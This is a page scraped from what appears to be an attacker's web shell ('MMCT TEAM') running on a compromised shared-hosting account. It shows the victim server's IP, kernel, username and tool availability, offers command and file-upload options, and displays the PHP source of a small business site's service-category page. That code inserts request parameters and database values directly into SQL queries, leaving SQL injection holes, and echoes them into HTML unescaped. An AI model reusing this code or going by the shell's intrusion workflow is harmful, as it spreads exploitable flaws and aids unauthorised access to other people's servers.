MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.149.251.26
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/mystudiob.co.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/mystudiob.co.in/service-category.php
<?php
    include_once('admin/config.php');
//     $slug_name = $_GET['slug_link'];
//     if(isset($_SERVER['PATH_INFO'])){
//     $slug_name=$_SERVER['PATH_INFO'];
//     $querydt="SELECT * FROM `tbl_product` WHERE `slug_link`='$slug_name'";
//     $rundt = mysqli_query($db,$querydt) or die("Query Not run");
//     $datadt = mysqli_fetch_assoc($rundt);
//  }
    // include_once('admin/config.php');
    $cat_url = $_REQUEST['slug_link'];
    $querydt="SELECT * FROM `tbl_product` WHERE `slug_link`='$cat_url'";
    $rundt = mysqli_query($db,$querydt) or die("Query Not run");
    $datadt = mysqli_fetch_assoc($rundt);
?>

<!DOCTYPE html>

<head>
<meta name="viewport" content="width=device-width,initial-scale=1.0"/>
<title><?php echo $datadt["meta_title"];?></title>
<meta name="description" content="<?php echo $datadt["meta_desc"];?>">
<?php include 'top-link.php';?>

<style>
.service-icon-box a {
	height: 45px;
	width: 40px;
	line-height: 57px;
}
.mb-0d {
	margin-bottom: 0!important;
	padding-top: 10px;
}
.d-mt {
	margin-top: 10px !important;
}
.pd-10 {
	padding: 10px;
}
</style>
</head>
<body class="">
  <?php include 'header.php' ;?>
<div id="wrapper">
  <div class="main-content">
    <section class="inner-header divider parallax layer-overlay overlay-white-5" style="background-image:url('<?php echo $wspath?>admin/images/services/<?php echo $datadt['image']?>')">
      <div class="container pt-70 pb-20">
        <div class="section-content">
          <div class="row">
            <div class="col-md-12 text-center">
              <h1 style="color:white;"><?php echo $datadt['product_name']?></h1>
              <ol class="breadcrumb text-center text-black mt-10">
                <li><a href="<?php echo $wspath?>" style="color:white;">Home</a></li>
                <!-- <li><a href="our-expertise.php">Our Expertise</a></li> -->
                <li style="color:white;"><?php echo $datadt['product_name']?></li>
              </ol>
            </div>
          </div>
        </div>
      </div>
       </section>
    </div>
    
       <div class="section pt-5">
        <div class="container">
            <div class="section-title text-center mb-lg-9 mb-md-7 mb-5">
                <!--<h2 class="title"> <span><?php echo $datadt['product_name']?></span></h2>-->
                <!--<p>To provide better quality of life by designing the eco-friendly structure.</p>-->
            </div>
            <div class="row row-cols-lg-4 row-cols-md-4 row-cols-sm-2 row-cols-1 ">
                <?php
                    $main=$datadt['p_id'];
                    $sql = "SELECT * FROM `tbl_services` WHERE cat_id='$main'";
                    $run = mysqli_query($db,$sql) or die("Query Not run");
                    while($data = mysqli_fetch_assoc($run)){
                    $serviceUrl = $wspath ;
                    if (isset($_REQUEST['loc_slug'])) {
                        $loc_slug = htmlspecialchars($_REQUEST['loc_slug']);
                        $serviceUrl .=  $loc_slug. '/';
                    }
                
                    $serviceUrl .= '' . $data['url_link'] . '.html';
                ?>
                <div class="col-md-4">
                  <!-- <a href="service-detail.php"> -->
                    <div class="service text-center" style="border:2px solid #ea622b;margin-bottom: 15px;">
                        <a href="<?php echo $serviceUrl; ?>">
                        <img height="200px" style="box-shadow:1px 1px 3px grey" src="<?php echo $wspath?>admin/images/<?php echo $data['img1'];?>" alt="banner">
                        </a>
                        <div class="service-content-wrap">
                            <div class="service-content">
                               
                                <a href="<?php echo $serviceUrl; ?>"><h3 class="title"><?= str_replace("LOCATION",$location,$data["property_name"]);?></h3>
                                <!--<p>Enhance quality of life through the design</p>-->
                                </a>
                            </div>
                        </div>
                    </div>
                  <!-- </a> -->
                </div>
                <?php } ?>
                
            </div>
        </div>
    </div>
   
  </div>
  <section style="background-color:#0cb8b6; padding:10px;">
    <div class="container" style="padding:10px 0px;">
      <div class="row">
        <div class="col-md-10">
          <h2 style="color:#fff;">Get In Touch With Us!!!!</h2>
        </div>
        <div class="col-md-2"> <a class="rd-mr" href="tel:+91-7404685585" style="position:relative; top:25px;">Contact Us <i class="fa fa-angle-double-right"></i></a> </div>
      </div>
    </div>
  </section>
  <?php include 'footer.php'?>
  <a class="scrollToTop" href="#"><i class="fa fa-angle-up"></i></a>

<!--<script src="js/custom.js"></script>-->
</body>
</html>

MMCT - 2023